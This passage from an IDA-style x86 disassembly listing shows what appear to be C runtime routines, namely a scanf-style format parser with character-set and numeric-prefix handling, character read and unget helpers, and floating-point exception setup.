		cmp	ebx, 45h
		jnz	loc_42110A


loc_42108A:				; CODE XREF: sub_420D10+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42110A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42176C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4210B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4210B6
; ---------------------------------------------------------------------------


loc_4210B1:				; CODE XREF: sub_420D10+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4210D4


loc_4210B6:				; CODE XREF: sub_420D10+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4210C5
		and	[ebp+var_C], eax
		jmp	short loc_4210D4
; ---------------------------------------------------------------------------


loc_4210C5:				; CODE XREF: sub_420D10+3AEj
					; sub_420D10+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_42176C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4210D4:				; CODE XREF: sub_420D10+3A4j
					; sub_420D10+3B3j
		cmp	dword_43F1F4, 1
		jle	short loc_4210E9
		push	4
		push	ebx
		call	sub_41FD15
		pop	ecx
		pop	ecx
		jmp	short loc_4210F4
; ---------------------------------------------------------------------------


loc_4210E9:				; CODE XREF: sub_420D10+3CBj
		mov	eax, off_43EFE8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4210F4:				; CODE XREF: sub_420D10+3D7j
		test	eax, eax
		jz	short loc_42110A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42110A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4210C5
; ---------------------------------------------------------------------------


loc_42110A:				; CODE XREF: sub_420D10+366j
					; sub_420D10+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421786
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_421716
		cmp	[ebp+var_E], 0
		jnz	loc_421677
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43F598
		add	esp, 0Ch
		jmp	loc_421677
; ---------------------------------------------------------------------------


loc_42114E:				; CODE XREF: sub_420D10+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42115D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_42115D:				; CODE XREF: sub_420D10+441j
		cmp	[ebp+var_5], 0
		jle	short loc_421167
		mov	[ebp+var_16], 1


loc_421167:				; CODE XREF: sub_420D10+451j
		mov	edi, offset dword_43F470
		jmp	loc_42127C
; ---------------------------------------------------------------------------


loc_421171:				; CODE XREF: sub_420D10+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_42141F
		sub	eax, 3
		jz	loc_42126D
		dec	eax
		dec	eax
		jz	loc_421423
		sub	eax, 3
		jz	loc_420F59
		sub	eax, 3
		jz	short loc_4211BF


loc_42119B:				; CODE XREF: sub_420D10+21Bj
					; sub_420D10+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_4216E6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_421677
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_421677
; ---------------------------------------------------------------------------


loc_4211BF:				; CODE XREF: sub_420D10+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4211C9
		mov	[ebp+var_16], 1


loc_4211C9:				; CODE XREF: sub_420D10+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_421280
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_42127C
; ---------------------------------------------------------------------------


loc_4211E3:				; CODE XREF: sub_420D10+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_42120A


loc_4211E8:				; CODE XREF: sub_420D10+259j
		dec	[ebp+var_C]
		jnz	short loc_4211F9
		cmp	[ebp+var_20], 0
		jz	short loc_4211F9
		mov	[ebp+var_F], 1
		jmp	short loc_42120A
; ---------------------------------------------------------------------------


loc_4211F9:				; CODE XREF: sub_420D10+4DBj
					; sub_420D10+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42176C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_42120A:				; CODE XREF: sub_420D10+4D6j
					; sub_420D10+4E7j
		cmp	ebx, 30h
		jnz	loc_421458
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42176C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_421258
		cmp	bl, 58h
		jz	short loc_421258
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_421242
		push	6Fh


loc_42123C:				; CODE XREF: sub_420D10+55Bj
		pop	esi
		jmp	loc_421458
; ---------------------------------------------------------------------------


loc_421242:				; CODE XREF: sub_420D10+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421786
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_421455
; ---------------------------------------------------------------------------


loc_421258:				; CODE XREF: sub_420D10+517j
					; sub_420D10+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42176C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_42123C
; ---------------------------------------------------------------------------


loc_42126D:				; CODE XREF: sub_420D10+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_421277
		mov	[ebp+var_16], 1


loc_421277:				; CODE XREF: sub_420D10+561j
		mov	edi, offset dword_43F468


loc_42127C:				; CODE XREF: sub_420D10+45Cj
					; sub_420D10+4CEj
		or	[ebp+var_18], 0FFh


loc_421280:				; CODE XREF: sub_420D10+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_4212A4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_4212A4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_4212A7
; ---------------------------------------------------------------------------


loc_4212A4:				; CODE XREF: sub_420D10+584j
					; sub_420D10+589j
		mov	dl, [ebp+var_35]


loc_4212A7:				; CODE XREF: sub_420D10+592j
					; sub_420D10+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_42130C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_4212F3
		test	dl, dl
		jz	short loc_4212F3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_4212F3
		inc	edi
		cmp	dl, cl
		jnb	short loc_4212C6
		mov	al, cl
		jmp	short loc_4212CA
; ---------------------------------------------------------------------------


loc_4212C6:				; CODE XREF: sub_420D10+5B0j
		mov	al, dl
		mov	dl, cl


loc_4212CA:				; CODE XREF: sub_420D10+5B4j
		cmp	dl, al
		ja	short loc_4212EF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_4212D7:				; CODE XREF: sub_420D10+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_4212D7


loc_4212EF:				; CODE XREF: sub_420D10+5BCj
		xor	dl, dl
		jmp	short loc_4212A7
; ---------------------------------------------------------------------------


loc_4212F3:				; CODE XREF: sub_420D10+5A0j
					; sub_420D10+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_4212A7
; ---------------------------------------------------------------------------


loc_42130C:				; CODE XREF: sub_420D10+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_421716
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_42131E
		mov	[ebp+arg_4], edi


loc_42131E:				; CODE XREF: sub_420D10+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_421786
		pop	ecx
		pop	ecx


loc_421335:				; CODE XREF: sub_420D10+6BCj
					; sub_420D10+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_421349
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_4213E5


loc_421349:				; CODE XREF: sub_420D10+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_42176C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_4213D9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_4213D9
		cmp	[ebp+var_E], 0
		jnz	short loc_4213D1
		cmp	[ebp+var_16], 0
		jz	short loc_4213C6
		mov	ecx, off_43EFE8
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_4213A5
		inc	[ebp+var_4]
		push	edi
		call	sub_42176C
		pop	ecx
		mov	[ebp+var_37], al


loc_4213A5:				; CODE XREF: sub_420D10+686j
		push	dword_43F1F4
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_4246EE
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_4213C9
; ---------------------------------------------------------------------------


loc_4213C6:				; CODE XREF: sub_420D10+673j
		mov	[esi], al
		inc	esi


loc_4213C9:				; CODE XREF: sub_420D10+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_421335
; ---------------------------------------------------------------------------


loc_4213D1:				; CODE XREF: sub_420D10+66Dj
		inc	[ebp+var_30]
		jmp	loc_421335
; ---------------------------------------------------------------------------


loc_4213D9:				; CODE XREF: sub_420D10+649j
					; sub_420D10+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421786
		pop	ecx
		pop	ecx


loc_4213E5:				; CODE XREF: sub_420D10+633j
		cmp	[ebp+var_30], esi
		jz	loc_421716
		cmp	[ebp+var_E], 0
		jnz	loc_421677
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_421677
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_421417
		and	word ptr [eax],	0
		jmp	loc_421677
; ---------------------------------------------------------------------------


loc_421417:				; CODE XREF: sub_420D10+6FCj
		and	byte ptr [eax],	0
		jmp	loc_421677
; ---------------------------------------------------------------------------


loc_42141F:				; CODE XREF: sub_420D10+466j
		mov	[ebp+var_D], 1


loc_421423:				; CODE XREF: sub_420D10+203j
					; sub_420D10+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_421431
		mov	[ebp+var_17], 1
		jmp	short loc_421436
; ---------------------------------------------------------------------------


loc_421431:				; CODE XREF: sub_420D10+719j
		cmp	ebx, 2Bh
		jnz	short loc_421458


loc_421436:				; CODE XREF: sub_420D10+71Fj
		dec	[ebp+var_C]
		jnz	short loc_421447
		cmp	[ebp+var_20], 0
		jz	short loc_421447
		mov	[ebp+var_F], 1
		jmp	short loc_421458
; ---------------------------------------------------------------------------


loc_421447:				; CODE XREF: sub_420D10+729j
					; sub_420D10+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42176C
		pop	ecx
		mov	ebx, eax


loc_421455:				; CODE XREF: sub_420D10+543j
		mov	[ebp+var_14], ebx


loc_421458:				; CODE XREF: sub_420D10+4FDj
					; sub_420D10+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_421571
		cmp	[ebp+var_F], 0
		jnz	loc_42154F


loc_42146C:				; CODE XREF: sub_420D10+82Cj
		cmp	esi, 78h
		jnz	short loc_4214C0
		cmp	dword_43F1F4, 1
		jle	short loc_421489
		push	80h
		push	ebx
		call	sub_41FD15
		pop	ecx
		pop	ecx
		jmp	short loc_421496
; ---------------------------------------------------------------------------


loc_421489:				; CODE XREF: sub_420D10+768j
		mov	eax, off_43EFE8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421496:				; CODE XREF: sub_420D10+777j
		test	eax, eax
		jz	loc_421541
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_4247C0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_421735
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_421513
; ---------------------------------------------------------------------------


loc_4214C0:				; CODE XREF: sub_420D10+75Fj
		cmp	dword_43F1F4, 1
		jle	short loc_4214D5
		push	4
		push	ebx
		call	sub_41FD15
		pop	ecx
		pop	ecx
		jmp	short loc_4214E0
; ---------------------------------------------------------------------------


loc_4214D5:				; CODE XREF: sub_420D10+7B7j
		mov	eax, off_43EFE8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4214E0:				; CODE XREF: sub_420D10+7C3j
		test	eax, eax
		jz	short loc_421541
		cmp	esi, 6Fh
		jnz	short loc_4214FE
		cmp	ebx, 38h
		jge	short loc_421541
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_4247C0
		jmp	short loc_42150D
; ---------------------------------------------------------------------------


loc_4214FE:				; CODE XREF: sub_420D10+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41DA80


loc_42150D:				; CODE XREF: sub_420D10+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_421513:				; CODE XREF: sub_420D10+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_42152B
		dec	[ebp+var_C]
		jz	short loc_42154F


loc_42152B:				; CODE XREF: sub_420D10+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42176C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42146C
; ---------------------------------------------------------------------------


loc_421541:				; CODE XREF: sub_420D10+788j
					; sub_420D10+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421786
		pop	ecx
		pop	ecx


loc_42154F:				; CODE XREF: sub_420D10+756j
					; sub_420D10+819j
		cmp	[ebp+var_17], 0
		jz	loc_421635
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_421635
; ---------------------------------------------------------------------------


loc_421571:				; CODE XREF: sub_420D10+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_42162D


loc_42157B:				; CODE XREF: sub_420D10+90Aj
		cmp	esi, 78h
		jz	short loc_4215BF
		cmp	esi, 70h
		jz	short loc_4215BF
		cmp	dword_43F1F4, 1
		jle	short loc_42159A
		push	4
		push	ebx
		call	sub_41FD15
		pop	ecx
		pop	ecx
		jmp	short loc_4215A5
; ---------------------------------------------------------------------------


loc_42159A:				; CODE XREF: sub_420D10+87Cj
		mov	eax, off_43EFE8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4215A5:				; CODE XREF: sub_420D10+888j
		test	eax, eax
		jz	short loc_42161F
		cmp	esi, 6Fh
		jnz	short loc_4215B8
		cmp	ebx, 38h
		jge	short loc_42161F
		shl	edi, 3
		jmp	short loc_4215F7
; ---------------------------------------------------------------------------


loc_4215B8:				; CODE XREF: sub_420D10+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_4215F7
; ---------------------------------------------------------------------------


loc_4215BF:				; CODE XREF: sub_420D10+86Ej
					; sub_420D10+873j
		cmp	dword_43F1F4, 1
		jle	short loc_4215D7
		push	80h
		push	ebx
		call	sub_41FD15
		pop	ecx
		pop	ecx
		jmp	short loc_4215E4
; ---------------------------------------------------------------------------


loc_4215D7:				; CODE XREF: sub_420D10+8B6j
		mov	eax, off_43EFE8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_4215E4:				; CODE XREF: sub_420D10+8C5j
		test	eax, eax
		jz	short loc_42161F
		push	ebx
		shl	edi, 4
		call	sub_421735
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4215F7:				; CODE XREF: sub_420D10+8A6j
					; sub_420D10+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_421609
		dec	[ebp+var_C]
		jz	short loc_42162D


loc_421609:				; CODE XREF: sub_420D10+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42176C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42157B
; ---------------------------------------------------------------------------


loc_42161F:				; CODE XREF: sub_420D10+897j
					; sub_420D10+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421786
		pop	ecx
		pop	ecx


loc_42162D:				; CODE XREF: sub_420D10+865j
					; sub_420D10+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_421635
		neg	edi


loc_421635:				; CODE XREF: sub_420D10+843j
					; sub_420D10+85Cj ...
		cmp	esi, 46h
		jnz	short loc_42163E
		and	[ebp+var_1C], 0


loc_42163E:				; CODE XREF: sub_420D10+928j
		cmp	[ebp+var_1C], 0
		jz	loc_421716
		cmp	[ebp+var_E], 0
		jnz	short loc_421677
		inc	[ebp+var_34]


loc_421651:				; CODE XREF: sub_420D10+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_421667
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_421677
; ---------------------------------------------------------------------------


loc_421667:				; CODE XREF: sub_420D10+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_421674
		mov	[eax], edi
		jmp	short loc_421677
; ---------------------------------------------------------------------------


loc_421674:				; CODE XREF: sub_420D10+95Ej
		mov	[eax], di


loc_421677:				; CODE XREF: sub_420D10+241j
					; sub_420D10+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_4216C4
; ---------------------------------------------------------------------------


loc_421682:				; CODE XREF: sub_420D10+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_42176C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_4216F1
		mov	ecx, off_43EFE8
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_4216C4
		inc	[ebp+var_4]
		push	edi
		call	sub_42176C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_4216FF
		dec	[ebp+var_4]


loc_4216C4:				; CODE XREF: sub_420D10+970j
					; sub_420D10+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4216DA
		cmp	byte ptr [esi],	25h
		jnz	short loc_42171C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_42171C
		mov	esi, eax


loc_4216DA:				; CODE XREF: sub_420D10+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_420D3A
		jmp	short loc_421716
; ---------------------------------------------------------------------------


loc_4216E6:				; CODE XREF: sub_420D10+1F4j
					; sub_420D10+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_4216F6
; ---------------------------------------------------------------------------


loc_4216F1:				; CODE XREF: sub_420D10+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_4216F6:				; CODE XREF: sub_420D10+9DFj
		call	sub_421786
		pop	ecx
		pop	ecx
		jmp	short loc_421716
; ---------------------------------------------------------------------------


loc_4216FF:				; CODE XREF: sub_420D10+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421786
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421786
		add	esp, 10h


loc_421716:				; CODE XREF: sub_420D10+1Fj
					; sub_420D10+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_42172D


loc_42171C:				; CODE XREF: sub_420D10+9BDj
					; sub_420D10+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_421730
		cmp	[ebp+var_15], al
		jnz	short loc_421730
		or	eax, 0FFFFFFFFh
		jmp	short loc_421730
; ---------------------------------------------------------------------------


loc_42172D:				; CODE XREF: sub_420D10+A0Aj
		mov	eax, [ebp+var_34]


loc_421730:				; CODE XREF: sub_420D10+A11j
					; sub_420D10+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420D10	endp


; =============== S U B	R O U T	I N E =======================================



sub_421735	proc near		; CODE XREF: sub_420D10+7A3p
					; sub_420D10+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43F1F4, 1
		push	esi
		jle	short loc_42174F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41FD15
		pop	ecx
		pop	ecx
		jmp	short loc_42175E
; ---------------------------------------------------------------------------


loc_42174F:				; CODE XREF: sub_421735+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43EFE8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_42175E:				; CODE XREF: sub_421735+18j
		test	eax, eax
		jnz	short loc_421768
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_421768:				; CODE XREF: sub_421735+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_421735	endp


; =============== S U B	R O U T	I N E =======================================



sub_42176C	proc near		; CODE XREF: sub_420D10+1E1p
					; sub_420D10+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_42177E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_42177E:				; CODE XREF: sub_42176C+7j
		push	edx
		call	sub_41F843
		pop	ecx
		retn
sub_42176C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421786	proc near		; CODE XREF: sub_420D10+6Bp
					; sub_420D10+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_42179C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4247DF
		pop	ecx
		pop	ecx

locret_42179C:				; CODE XREF: sub_421786+5j
		retn
sub_421786	endp


; =============== S U B	R O U T	I N E =======================================



sub_42179D	proc near		; CODE XREF: sub_420D10+63p
					; sub_420D10+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_4217A3:				; CODE XREF: sub_42179D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_42176C
		mov	edi, eax
		push	edi
		call	sub_41DE70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4217A3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42179D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_4217C1(int,int,double,int)

sub_4217C1	proc near		; CODE XREF: sub_41CE49+51p
					; sub_41CF8F+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43F960, 0
		jnz	short loc_4217F6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421D76
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4217F6:				; CODE XREF: sub_4217C1+Aj
		push	0FFFFh
		mov	dword_4DE02C, 21h
		push	[ebp+arg_C]
		call	sub_421FE9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4217C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421814(int,int,double,double,int)

sub_421814	proc near		; CODE XREF: sub_41CE49:loc_41CF0Cp
					; sub_41CF8F:loc_41D052p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_421B5F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421852
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4218AC
		add	esp, 18h


loc_421852:				; CODE XREF: sub_421814+1Aj
		push	[ebp+arg_0]
		call	sub_421E49
		cmp	dword_43F960, 0
		pop	ecx
		jnz	short loc_421890
		test	eax, eax
		jz	short loc_421890
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421D76
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421890:				; CODE XREF: sub_421814+4Ej
					; sub_421814+52j
		push	eax
		call	sub_421DFE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_421FE9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421814	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4218AC	proc near		; CODE XREF: sub_421814+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4218DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_4218DE:				; CODE XREF: sub_4218AC+23j
		test	cl, 2
		jz	short loc_4218F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_4218F1:				; CODE XREF: sub_4218AC+35j
		test	cl, bl
		jz	short loc_421903
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_421903:				; CODE XREF: sub_4218AC+47j
		test	cl, 4
		jz	short loc_421916
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_421916:				; CODE XREF: sub_4218AC+5Aj
		test	cl, 8
		jz	short loc_421929
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_421929:				; CODE XREF: sub_4218AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
